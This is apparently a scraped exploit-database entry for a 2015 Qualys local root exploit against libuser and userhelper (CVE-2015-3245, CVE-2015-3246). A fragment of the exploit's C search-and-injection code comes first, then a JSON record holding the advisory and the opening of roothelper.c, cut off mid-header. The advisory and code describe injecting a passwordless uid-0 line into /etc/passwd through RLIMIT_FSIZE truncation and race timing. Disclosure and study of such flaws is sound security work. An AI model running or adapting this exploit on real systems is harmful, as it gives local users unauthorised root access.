if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
if (!isascii((unsigned char)c)) die();
if (!isgraph((unsigned char)c)) die();
fullname[fullname_len-1] = c;
}
}
static size_t siteinfo_len;
static size_t fullname_off;
static size_t before_fullname_len;
static char * before_fullname;
static size_t after_fullname_len;
static char * after_fullname;
static int
generate_userhelper(const char *const a, const int i, char *const contents)
{
if (i < 0) {
if (i != -1) die();
return 0;
}
if (a == NULL) die();
if ((unsigned int)i >= strlen(a)) die();
if (contents == NULL) die();
const char _c = a[i];
const bool is_user_wildcard = (_c == '?');
const char c = (is_user_wildcard ? candidate_users[0] : _c);
if (c == '\0') die();
const size_t target = passwd_fsize-1 + i;
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
if (fsizelim < passwd_fsize) die();
const size_t contents_len = strlen(contents);
if (contents_len < passwd_fsize) die();
if (contents_len <= fullname_off) die();
char *const fullname = contents + fullname_off;
if (memcmp(fullname - before_fullname_len,
before_fullname, before_fullname_len) != 0) die();
const char *rest = strchr(fullname, '\n');
if (rest == NULL) die();
rest++;
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
if (fullname_len >= GECOS_LENGTH) die();
if (fullname_len < 0) die();
if (rest[-1] != '\n') die();
generate_fullname(fullname, fullname_len, c);
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
if (rest[-1] != '\n') die();
if (memcmp(rest - after_fullname_len,
after_fullname, after_fullname_len) != 0) die();
size_t offset;
for (offset = fullname_off; offset < contents_len; offset++) {
const char x = contents[offset];
if (x == '\0') die();
if (is_user_wildcard) {
if (strchr(candidate_users, x) == NULL) continue;
superuser_elect = x;
} else {
if (x != c) continue;
}
const ssize_t new_fullname_len = fullname_len + (target - offset);
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
if (offset < fullname_off + fullname_len) {
if (offset != fullname_off + fullname_len-1) die();
if (new_fullname_len == 0) continue;
}
if (offset >= contents_len-1) {
if (offset != contents_len-1) die();
if (fsizelim != RLIM_INFINITY) continue;
}
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
memcpy(new_contents, contents, fullname_off);
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
memcpy(new_contents + fullname_off + new_fullname_len,
contents + fullname_off + fullname_len,
contents_len+1 - (fullname_off + fullname_len));
if (strlen(new_contents) != contents_len +
(new_fullname_len - fullname_len)) die();
if (fsizelim != RLIM_INFINITY) {
if (fsizelim >= strlen(new_contents)) die();
if (fsizelim >= contents_len) die();
memcpy(new_contents + fsizelim,
contents + fsizelim,
contents_len+1 - fsizelim);
}
const int err = generate_userhelper(a, i-1, new_contents);
free(new_contents);
if (err < 0) continue; }
if (i >= GECOS_LENGTH) die();
struct userhelper *const uh = &userhelpers[i];
memset(uh, 0, sizeof(*uh));
uh->fsizelim = fsizelim;
if (new_fullname_len >= GECOS_LENGTH) die();
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
return 0;
}
return -1;
}
static int
generate_userhelpers(const char *const _a)
{
char a[GECOS_LENGTH];
if (_a == NULL) die();
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
if (n >= GECOS_LENGTH) die();
if (n <= 0) die();
const int fd = xopen(PASSWD, O_RDONLY);
struct stat st;
if (fstat(fd, &st) != 0) die();
if (st.st_size >= 10*1024*1024) die();
if (st.st_size <= 0) die();
passwd_fsize = st.st_size;
char *const contents = xmalloc(passwd_fsize + 1);
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
xclose(fd);
contents[passwd_fsize] = '\0';
if (strlen(contents) != passwd_fsize) die();
if (contents[passwd_fsize-1] != '\n') die();
char fragment[64];
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
const char *line = strstr(contents, fragment);
if (line == NULL) die();
line++;
const char *rest = strchr(line, '\n');
if (rest == NULL) die();
if (rest <= line) die();
rest++;
if (strcmp(_a, IS_USER_LAST) == 0) {
const bool is_user_last = (*rest == '\0');
free(contents);
return is_user_last;
}
unsigned int i;
const char *field = line;
for (i = 0; i <= 5; i++) {
const char *const field_end = strchr(field, ':');
if (field_end == NULL) die();
if (field_end >= rest) die();
const size_t field_len = field_end - field;
switch (i) {
case 0:
if (field_len != strlen(my.username)) die();
if (memcmp(field, my.username, field_len) != 0) die();
break;
case 1:
if (*field != 'x') die();
break;
case 2:
if (strtoimax(field, NULL, 10) != getuid()) die();
break;
case 3:
if (strtoimax(field, NULL, 10) != getgid()) die();
break;
case 4:
{
char assembled[GECOS_LENGTH];
xsnprintf(assembled, sizeof(assembled),
"%.*s", (int)field_len, field);
if (strlen(assembled) != field_len) die();
struct gecos_data gecos;
memset(&gecos, 0, sizeof(gecos));
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
"%s", my.gecos.site_info);
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
}
siteinfo_len = strlen(my.gecos.site_info);
fullname_off = field - contents;
before_fullname_len = field - line;
before_fullname = xstrndup(line, before_fullname_len);
after_fullname_len = rest - field;
after_fullname = xstrndup(field, after_fullname_len);
break;
case 5:
if (*field != '/') die();
break;
default:
die();
}
field = field_end + 1;
}
const int err = generate_userhelper(a, n-1, contents);
free(before_fullname), before_fullname = NULL;
free(after_fullname), after_fullname = NULL;
free(contents);
return (err < 0) ? -1 : n;
}
{"id": "EDB-ID:37706", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Libuser Library - Multiple Vulnerabilities", "description": "Libuser Library - Multiple Vulnerabilities. CVE-2015-3245,CVE-2015-3246. Dos exploit for linux platform", "published": "2015-07-27T00:00:00", "modified": "2015-07-27T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.exploit-db.com/exploits/37706/", "reporter": "Qualys Corporation", "references": [], "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "lastseen": "2016-02-04T06:25:00", "viewCount": 6, "enchantments": {"score": {"value": 6.9, "vector": "NONE", "modified": "2016-02-04T06:25:00", "rev": 2}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14609", "SECURITYVULNS:DOC:32356"]}, {"type": "f5", "idList": ["F5:K05770600", "SOL05770600"]}, {"type": "cve", "idList": ["CVE-2015-3246", "CVE-2015-3245"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:147599", "PACKETSTORM:132820"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310120278", "OPENVAS:1361412562310130100", "OPENVAS:1361412562310869833", "OPENVAS:1361412562310123073", "OPENVAS:1361412562310871415", "OPENVAS:1361412562310869828", "OPENVAS:1361412562310123048", "OPENVAS:1361412562310850683", "OPENVAS:1361412562310871416", "OPENVAS:1361412562310882230"]}, {"type": "centos", "idList": ["CESA-2015:1482", "CESA-2015:1483"]}, {"type": "redhat", "idList": ["RHSA-2015:1482", "RHSA-2015:1483"]}, {"type": "oraclelinux", "idList": ["ELSA-2015-1482", "ELSA-2015-1483"]}, {"type": "debian", "idList": ["DEBIAN:DLA-468-1:4512C"]}, {"type": "amazon", "idList": ["ALAS-2015-572"]}, {"type": "nessus", "idList": ["SL_20150723_LIBUSER_ON_SL7_X.NASL", "SL_20150723_LIBUSER_ON_SL6_X.NASL", "REDHAT-RHSA-2015-1483.NASL", "ORACLELINUX_ELSA-2015-1482.NASL", "FEDORA_2015-12064.NASL", "ALA_ALAS-2015-572.NASL", "FEDORA_2015-12301.NASL", "CENTOS_RHSA-2015-1482.NASL", "REDHAT-RHSA-2015-1482.NASL", "ORACLELINUX_ELSA-2015-1483.NASL"]}, {"type": "exploitdb", "idList": ["EDB-ID:44633"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:EA1A9D7D213CC5047E8134828CBEC07D"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/LINUX/LOCAL/LIBUSER_ROOTHELPER_PRIV_ESC"]}, {"type": "fedora", "idList": ["FEDORA:C19EE608770D", "FEDORA:1BECE6060E99"]}, {"type": "archlinux", "idList": ["ASA-201507-19"]}, {"type": "zdt", "idList": ["1337DAY-ID-23934", "1337DAY-ID-30355"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2015:1332-1"]}], "modified": "2016-02-04T06:25:00", "rev": 2}, "vulnersScore": 6.9}, "sourceHref": "https://www.exploit-db.com/download/37706/", "sourceData": "Qualys Security Advisory\r\n\r\nCVE-2015-3245 userhelper chfn() newline filtering\r\n\r\nCVE-2015-3246 libuser passwd file handling\r\n\r\n\r\n--[ Summary ]-----------------------------------------------------------------\r\n\r\nThe libuser library implements a standardized interface for manipulating\r\nand administering user and group accounts, and is installed by default\r\non Linux distributions derived from Red Hat's codebase. During an\r\ninternal code audit at Qualys, we discovered multiple libuser-related\r\nvulnerabilities that allow local users to perform denial-of-service and\r\nprivilege-escalation attacks. As a proof of concept, we developed an\r\nunusual local root exploit against one of libuser's applications.\r\n\r\n\r\n----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering)\r\n\r\nWe discovered a bug in userhelper, a setuid-root program from the\r\nusermode package that provides a basic interface to change a user's\r\npassword, gecos information, and shell; its -f (Full Name), -o (Office),\r\n-p (Office Phone) and -h (Home Phone) command-line options are\r\nequivalent to those of the traditional chfn program.\r\n\r\nuserhelper's chfn() function verifies that the fields it was given on\r\nthe command-line are sane (i.e., contain no forbidden characters).\r\nUnfortunately, these forbidden characters (\":,=\") do not include '\\n'\r\nand allow local attackers to inject newline characters into /etc/passwd\r\nand alter this file in unexpected ways.\r\n\r\nTo the best of our knowledge, this bug is a local denial-of-service\r\nonly: we were not able to turn it into a local root exploit, but maybe\r\nsome creative minds will.\r\n\r\nThere is another, secondary aspect of this bug: userhelper depends on\r\nlibuser to modify /etc/passwd, and libuser's format_generic() and\r\ngeneric_setpass() functions reject fields containing a ':' that would be\r\ninterpreted as a field separator. Vulnerability #1 could have been\r\nprevented if libuser had also rejected '\\n' characters.\r\n\r\n\r\n----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling)\r\n\r\nWe discovered a bug in libuser itself: even though traditional programs\r\nlike passwd, chfn, and chsh work on a temporary copy of /etc/passwd and\r\neventually rename() it, libuser modifies /etc/passwd directly.\r\nUnfortunately, if anything goes wrong during these modifications,\r\nlibuser may leave /etc/passwd in an inconsistent state.\r\n\r\nThis bug is not just another local denial-of-service: we were able to\r\nturn it into a local root exploit against userhelper and chfn (if linked\r\nwith libuser).\r\n\r\nThere is also another, secondary aspect of this bug: glibc modules like\r\nnss and nscd do not expect /etc/passwd to be directly modified while\r\nthey parse its contents, and programs from packages like shadow-utils\r\nand util-linux use lckpwdf() locks that are incompatible with libuser's\r\nfcntl() locks.\r\n\r\n\r\n--[ Exploitation Overview ]---------------------------------------------------\r\n\r\nIn this section, we outline our userhelper exploit against libuser's\r\nVulnerability #2; later in this advisory, we explain how it can be\r\neasily adapted to chfn (if linked with libuser).\r\n\r\nOur ultimate goal is to inject an arbitrary line into /etc/passwd (for\r\nexample, the a-line \"\\na::0:0::/:\\n\") but we first need to understand\r\nhow libuser's generic_mod() function modifies our own user's line in\r\n/etc/passwd:\r\n\r\n- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND\r\n nor O_TRUNC);\r\n\r\n- acquire the file's fcntl() write-lock (an exclusive, but advisory\r\n lock);\r\n\r\n- read() the file's contents (into a g_malloc()ated buffer);\r\n\r\n- lseek() the file to the beginning of our user's line (and skip the\r\n unmodified lines that precede);\r\n\r\n- write() our user's new, modified line (and the rest of the unmodified\r\n lines that follow) to the file;\r\n\r\n- ftruncate() the file (if our user's new, modified line is shorter than\r\n the old one);\r\n\r\n- release the file's fcntl() write-lock;\r\n\r\n- close() the file.\r\n\r\nSurprisingly, we only need two things in our toolbox in order to exploit\r\nthis function and inject the a-line into /etc/passwd:\r\n\r\n- a pencil and eraser that allows us to repeatedly write() and\r\n re-write() our own GECOS field (its length and last character in\r\n particular) in /etc/passwd: the userhelper program itself;\r\n\r\n- a pair of scissors that allows us to interrupt write() with byte\r\n precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, \"The\r\n maximum size of files that the process may create. Attempts to extend\r\n a file beyond this limit result in delivery of a SIGXFSZ signal. By\r\n default, this signal terminates a process, but a process can catch\r\n this signal instead, in which case the relevant system call (e.g.,\r\n write(2), truncate(2)) fails with the error EFBIG.\"\r\n\r\nFor each character in the a-line (beginning with its last character and\r\nending with its first character), we fork() a new process and execve()\r\nuserhelper with:\r\n\r\n- a GECOS field that allows us to write() the character to its target\r\n offset in /etc/passwd;\r\n\r\n- an RLIMIT_FSIZE that allows us to terminate the process before it\r\n write()s or ftruncate()s the characters that follow.\r\n\r\nIn this example, the newline character '\\n' is represented by |, and the\r\nlast character written (before write() is interrupted by RLIMIT_FSIZE)\r\nis marked with ^:\r\n\r\n...|...|user:x:1000:1000::/home/user:/bin/bash|...|...|\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...|\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...|\r\n\r\n\r\n--[ Exploitation Details ]----------------------------------------------------\r\n\r\nIn this section, we discuss the problems we encountered while developing\r\nour userhelper exploit, and how we solved them.\r\n\r\n\r\n----[ Problem #1 (missing fields)\r\n\r\nAt the end of our \"Exploitation Overview\" example, our home-directory\r\nand shell-program fields seem to magically reappear in /etc/passwd,\r\nalthough they were previously cut out by RLIMIT_FSIZE.\r\n\r\nThis magic trick introduces Problem #1: we cannot simply fork() a new\r\nprocess for each character in the a-line, execve() userhelper, and let\r\nit run until the character is written to its target offset in\r\n/etc/passwd, because libuser refuses to modify our user's line if some\r\nof its fields are missing.\r\n\r\nIn order to solve this Problem #1, we fork() a new process for each\r\ncharacter in the a-line, execve() userhelper, and let it load our user's\r\noriginal, uncut line from /etc/passwd, but we SIGSTOP the process before\r\nit open()s /etc/passwd for writing. Only after we have started and\r\nstopped all userhelper processes can we safely SIGCONT them, one at a\r\ntime.\r\n\r\n\r\n----[ Problem #2 (backup file)\r\n\r\nBefore libuser open()s /etc/passwd for writing, it creates a backup file\r\nnamed /etc/passwd- and if this backup fails, libuser refuses to modify\r\n/etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup,\r\nwhich will fail if the RLIMIT_FSIZE is less than the size of\r\n/etc/passwd.\r\n\r\nThis introduces Problem #2: in apparent contradiction to what we just\r\nsaid, our exploit needs to decrease RLIMIT_FSIZE after each character it\r\ninjects into /etc/passwd (as shown in the \"Exploitation Overview\"\r\nexample).\r\n\r\nIn order to solve this Problem #2, we refine Problem #1's\r\nSIGSTOP/SIGCONT solution: we let each userhelper process load our user's\r\noriginal, uncut line from /etc/passwd, and SIGSTOP the process after it\r\ncreates the backup file but before it modifies /etc/passwd. In other\r\nwords, we have to win a race against generic_mod()'s system calls, which\r\ncreate the backup file and modify /etc/passwd:\r\n\r\n- open() the passwd file /etc/passwd for reading;\r\n- acquire the passwd file's fcntl() read-lock;\r\n\r\n- open() the backup file /etc/passwd- for writing;\r\n- acquire the backup file's fcntl() write-lock;\r\n\r\n- read() from the passwd file;\r\n- write() to the backup file;\r\n- ftruncate() the backup file;\r\n\r\n- release the backup file's fcntl() write-lock;\r\n- close() the backup file;\r\n\r\n- release the passwd file's fcntl() read-lock;\r\n- close() the passwd file;\r\n\r\n- open() /etc/passwd for reading and writing;\r\n[RACE WINDOW BEGINS]\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n[RACE WINDOW ENDS]\r\n- acquire the file's fcntl() write-lock: success;\r\n- read() the file's contents;\r\n- etc.\r\n\r\nIn order to reliably win this race against all userhelper processes (one\r\nfor each character in the a-line), we:\r\n\r\n- widen the race window. We acquire a read-lock on /etc/passwd before we\r\n execve() userhelper, which prevents libuser from acquiring the\r\n write-lock on /etc/passwd, and forces it to sleep for a few\r\n microseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6).\r\n\r\n- pinpoint the race window. We monitor the filesystem for the following\r\n sequence of inotify events:\r\n\r\n . IN_CREATE on /etc if the backup file does not exist;\r\n . IN_CLOSE_WRITE on the backup file;\r\n . IN_CLOSE_NOWRITE on the passwd file;\r\n . IN_OPEN on the passwd file.\r\n\r\n- preempt the userhelper processes. We setpriority() them to the lowest\r\n priority, sched_setscheduler() them to SCHED_IDLE, and\r\n sched_setaffinity() them to the same CPU as our exploit.\r\n\r\n\r\n----[ Problem #3 (last user)\r\n\r\nIf our user's line is the last one in /etc/passwd, then the last\r\ncharacter we inject into the file (the '\\n' that ends our user's line\r\nand begins the a-line) is also the very last character of write()'s\r\nbuffer, which introduces Problem #3: this last write() will not exceed\r\nour RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line\r\nfrom the end of /etc/passwd.\r\n\r\nIn order to solve this Problem #3:\r\n\r\n- either we SIGKILL the last userhelper process after write() but before\r\n ftruncate(). We reliably win this race with an IN_MODIFY event on\r\n /etc/passwd and the \"same CPU, different priorities\" preemption of\r\n userhelper.\r\n\r\n- or we exploit Vulnerability #1 and inject a '\\n' into our own GECOS\r\n field. As far as libuser is concerned, this '\\n' ends our user's line\r\n and begins a new one (with our leftover home-directory and\r\n shell-program fields): our user's line is no longer the last one in\r\n /etc/passwd.\r\n\r\n\r\n----[ Problem #4 (maximum GECOS_LENGTH)\r\n\r\nAs shown in our \"Exploitation Overview\" example, we only have two\r\noptions for arbitrary character injection into /etc/passwd:\r\n\r\n- either we use a character that we artificially inject through our own\r\n GECOS field (not an option for characters like ':' and '\\n');\r\n\r\n- or we reuse a character that is naturally present in /etc/passwd (our\r\n only option for characters like ':' and '\\n').\r\n\r\nUnfortunately, both of these options might fail to inject a character\r\nafter the end of /etc/passwd (a consequence of Problem #2):\r\n\r\n- if our own GECOS field is too far away from the end of /etc/passwd\r\n (farther than userhelper's maximum GECOS_LENGTH, 127 characters);\r\n\r\n- if the character is not already one of the last GECOS_LENGTH\r\n characters in /etc/passwd.\r\n\r\nIf faced with both of these problems, we solve the first one (and\r\nProblem #4) by repeatedly deleting lines from the end of /etc/passwd,\r\nuntil our own user's line is the last one in the file: we enlarge our\r\nown GECOS field, delete characters from the end of /etc/passwd with our\r\nRLIMIT_FSIZE scissors, shrink our GECOS field again, repeat.\r\n\r\n\r\n----[ Problem #5 (time complexity)\r\n\r\nFor each character in the a-line, we usually have to choose one of\r\nseveral (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character\r\nto its target offset in /etc/passwd.\r\n\r\nThese pairs represent the nodes of a search tree that grows\r\nexponentially (with the number of characters in the a-line) but may\r\ncontain few or no solutions. In order to avoid this tree's worst-case\r\ntime complexity, we:\r\n\r\n- inject the shortest a-line possible, \"\\na::0:0::/:\\n\";\r\n\r\n- perform a recursive depth-first search on the tree, and return the\r\n first solution we find (instead of, for example, the solution that\r\n minimizes /etc/passwd's alterations);\r\n\r\n- replace the a-line's username with a wildcard, and accept any\r\n lowercase character that is not already a username (the a-line's\r\n username was a major problem, because it is the last character we\r\n inject, and therefore occurs deep down the tree's branches; the\r\n a-line's '0' characters are only a minor problem, because they occur\r\n in the middle of the tree's branches, whence we can backtrack\r\n quickly).\r\n\r\n\r\n----[ chfn\r\n\r\nutil-linux's chfn from Red Hat's codebase is linked with libuser, and\r\ncan be exploited by our public roothelper.c with just a few changes\r\n(left as an exercise for the interested reader):\r\n\r\n- userhelper uses a simple Userhelper/Consolehelper request/response\r\n protocol in order to prompt for and read the user's password, but chfn\r\n uses traditional terminal interaction;\r\n\r\n- if our user's line is the last one in /etc/passwd, we can exploit\r\n Vulnerability #1 against userhelper, but we have to win Problem #3's\r\n write/ftruncate race against chfn;\r\n\r\n- userhelper returns 0/255 on success/failure, but chfn returns 0/1.\r\n\r\n\r\n--[ Acknowledgments ]---------------------------------------------------------\r\n\r\nWe would like to thank Red Hat's Security Response Team and developers\r\nfor promptly addressing these issues.\r\n\r\n\r\n\r\n------ roothelper.c exploit ------\r\n/*\r\n * roothelper.c - an unusual local root exploit against:\r\n * CVE-2015-3245 userhelper chfn() newline filtering\r\n * CVE-2015-3246 libuser passwd file handling\r\n * Copyright (C) 2015 Qualys, Inc.\r\n *\r\n * gecos_* types and functions inspired by userhelper.c\r\n * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.\r\n *\r\n * UH_* #defines and comments inspired by userhelper.h\r\n * Copyright (C) 1997-2001, 2007 Red Hat, Inc.\r\n *\r\n * This program is free software: you can redistribute it and/or modify\r\n * it under the terms of the GNU General Public License as published by\r\n * the Free Software Foundation, either version 3 of the License, or\r\n * (at your option) any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU General Public License\r\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n */\r\n\r\n#define _GNU_SOURCE\r\n#include <ctype.h>\r\n#include <errno.h>\r\n#include <fcntl.h>\r\n#include <inttypes.h>\r\n#include <limits.h>\r\n#include <pwd.h>\r\n#include <sched.h>\r\n#include <signal.h>\r\n#include <stdarg.h>\r\n#include <stdbool.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <sys/inotify.h>\r\n#include <sys/resource.h>\r\n#include <sys/socket.h>\r\n#include <sys/stat.h>\r\n#include <sys/time.h>\r\n#include <sys/types.h>\r\n#include <sys/wait.h>\r\n#include <unistd.h>\r\n\r\n/* A maximum GECOS field length. There's no hard limit, so we guess. */\r\n#define GECOS_LENGTH 127\r\n\r\ntypedef char gecos_field[GECOS_LENGTH];\r\n\r\n/* A structure to hold broken-out GECOS data. The number and names of the\r\n * fields are dictated entirely by the flavor of finger we use. Seriously. */\r\nstruct gecos_data {\r\n gecos_field full_name; /* full user name */\r\n gecos_field office; /* office */\r\n gecos_field office_phone; /* office phone */\r\n gecos_field home_phone; /* home phone */\r\n gecos_field site_info; /* other stuff */\r\n};\r\n\r\nstatic struct userhelper {\r\n struct gecos_data gecos;\r\n rlim_t fsizelim;\r\n pid_t pid;\r\n int fd;\r\n} userhelpers[GECOS_LENGTH];\r\n\r\nstatic void\r\ndie_in_parent(const char *const file, const unsigned int line,\r\n const char *const function)\r\n{\r\n fprintf(stderr, \"died in parent: %s:%u: %s\\n\", file, line, function);\r\n fflush(stderr);\r\n\r\n unsigned int i;\r\n for (i = 0; i < GECOS_LENGTH; i++) {\r\n const pid_t pid = userhelpers[i].pid;\r\n if (pid <= 0) continue;\r\n kill(pid, SIGKILL);\r\n }\r\n _exit(EXIT_FAILURE);\r\n}\r\n\r\nstatic void\r\ndie_in_child(const char *const file, const unsigned int line,\r\n const char *const function)\r\n{\r\n fprintf(stderr, \"died in child: %s:%u: %s\\n\", file, line, function);\r\n exit(EXIT_FAILURE);\r\n}\r\n\r\nstatic void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;\r\n#define die() die_fn(__FILE__, __LINE__, __func__)\r\n\r\nstatic void *\r\nxmalloc(const size_t size)\r\n{\r\n if (size <= 0) die();\r\n if (size >= INT_MAX) die();\r\n void *const ptr = malloc(size);\r\n if (ptr == NULL) die();\r\n return ptr;\r\n}\r\n\r\nstatic void *\r\nxrealloc(void *const old, const size_t size)\r\n{\r\n if (size <= 0) die();\r\n if (size >= INT_MAX) die();\r\n void *const new = realloc(old, size);\r\n if (new == NULL) die();\r\n return new;\r\n}\r\n\r\nstatic char *\r\nxstrndup(const char *const old, const size_t len)\r\n{\r\n if (old == NULL) die();\r\n if (len >= INT_MAX) die();\r\n\r\n char *const new = strndup(old, len);\r\n\r\n if (new == NULL) die();\r\n if (len != strlen(new)) die();\r\n return new;\r\n}\r\n\r\nstatic int\r\nxsnprintf(char *const str, const size_t size, const char *const format, ...)\r\n{\r\n if (str == NULL) die();\r\n if (size <= 0) die();\r\n if (size >= INT_MAX) die();\r\n if (format == NULL) die();\r\n\r\n va_list ap;\r\n va_start(ap, format);\r\n const int len = vsnprintf(str, size, format, ap);\r\n va_end(ap);\r\n\r\n if (len < 0) die();\r\n if ((unsigned int)len >= size) die();\r\n if ((unsigned int)len != strlen(str)) die();\r\n return len;\r\n}\r\n\r\nstatic int\r\nxopen(const char *const pathname, const int flags)\r\n{\r\n if (pathname == NULL) die();\r\n if (*pathname != '/') die();\r\n if (flags != O_RDONLY) die();\r\n\r\n const int fd = open(pathname, flags);\r\n if (fd <= -1) die();\r\n\r\n static const struct flock rdlock = {\r\n .l_type = F_RDLCK,\r\n .l_whence = SEEK_SET,\r\n .l_start = 0,\r\n .l_len = 0\r\n };\r\n if (fcntl(fd, F_SETLK, &rdlock) != 0) die();\r\n return fd;\r\n}\r\n\r\nstatic void\r\nxclose(const int fd)\r\n{\r\n if (fd <= -1) die();\r\n static const struct flock unlock = {\r\n .l_type = F_UNLCK,\r\n .l_whence = SEEK_SET,\r\n .l_start = 0,\r\n .l_len = 0\r\n };\r\n if (fcntl(fd, F_SETLK, &unlock) != 0) die();\r\n if (close(fd) != 0) die();\r\n}\r\n\r\n#define GECOS_BADCHARS \":,=\\n\"\r\n\r\n/* A simple function to compute the size of a gecos string containing the\r\n * data we have. */\r\nstatic size_t\r\ngecos_size(const struct gecos_data *const parsed)\r\n{\r\n if (parsed == NULL) die();\r\n\r\n size_t len = 4; /* commas! */\r\n len += strlen(parsed->full_name);\r\n len += strlen(parsed->office);\r\n len += strlen(parsed->office_phone);\r\n len += strlen(parsed->home_phone);\r\n len += strlen(parsed->site_info);\r\n len++;\r\n return len;\r\n}\r\n\r\n/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.\r\n Note that the parsing is performed using the convention obeyed by BSDish\r\n finger(1) under Linux. */\r\nstatic void\r\ngecos_parse(const char *const gecos, struct gecos_data *const parsed)\r\n{\r\n if (gecos == NULL) die();\r\n if (strlen(gecos) >= INT_MAX) die();\r\n\r\n if (parsed == NULL) die();\r\n memset(parsed, 0, sizeof(*parsed));\r\n\r\n unsigned int i;\r\n const char *field = gecos;\r\n\r\n for (i = 0; ; i++) {\r\n const char *field_end = strchrnul(field, ',');\r\n gecos_field *dest = NULL;\r\n\r\n switch (i) {\r\n case 0:\r\n dest = &parsed->full_name;\r\n break;\r\n case 1:\r\n dest = &parsed->office;\r\n break;\r\n case 2:\r\n dest = &parsed->office_phone;\r\n break;\r\n case 3:\r\n dest = &parsed->home_phone;\r\n break;\r\n case 4:\r\n field_end = rawmemchr(field_end, '\\0');\r\n dest = &parsed->site_info;\r\n break;\r\n default:\r\n die();\r\n }\r\n const size_t field_len = field_end - field;\r\n xsnprintf(*dest, sizeof(*dest), \"%.*s\", (int)field_len, field);\r\n if (strlen(*dest) != field_len) die();\r\n\r\n if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();\r\n\r\n if (*field_end == '\\0') break;\r\n field = field_end + 1;\r\n }\r\n if (gecos_size(parsed) > GECOS_LENGTH) die();\r\n}\r\n\r\n/* Assemble a new gecos string. */\r\nstatic const char *\r\ngecos_assemble(const struct gecos_data *const parsed)\r\n{\r\n static char ret[GECOS_LENGTH];\r\n size_t i;\r\n\r\n if (parsed == NULL) die();\r\n /* Construct the basic version of the string. */\r\n xsnprintf(ret, sizeof(ret), \"%s,%s,%s,%s,%s\",\r\n parsed->full_name,\r\n parsed->office,\r\n parsed->office_phone,\r\n parsed->home_phone,\r\n parsed->site_info);\r\n /* Strip off terminal commas. */\r\n i = strlen(ret);\r\n while ((i > 0) && (ret[i - 1] == ',')) {\r\n ret[i - 1] = '\\0';\r\n i--;\r\n }\r\n return ret;\r\n}\r\n\r\n/* Descriptors used to communicate between userhelper and consolhelper. */\r\n#define UH_INFILENO 3\r\n#define UH_OUTFILENO 4\r\n\r\n/* Userhelper request format:\r\n request code as a single character,\r\n request data size as UH_REQUEST_SIZE_DIGITS decimal digits\r\n request data\r\n 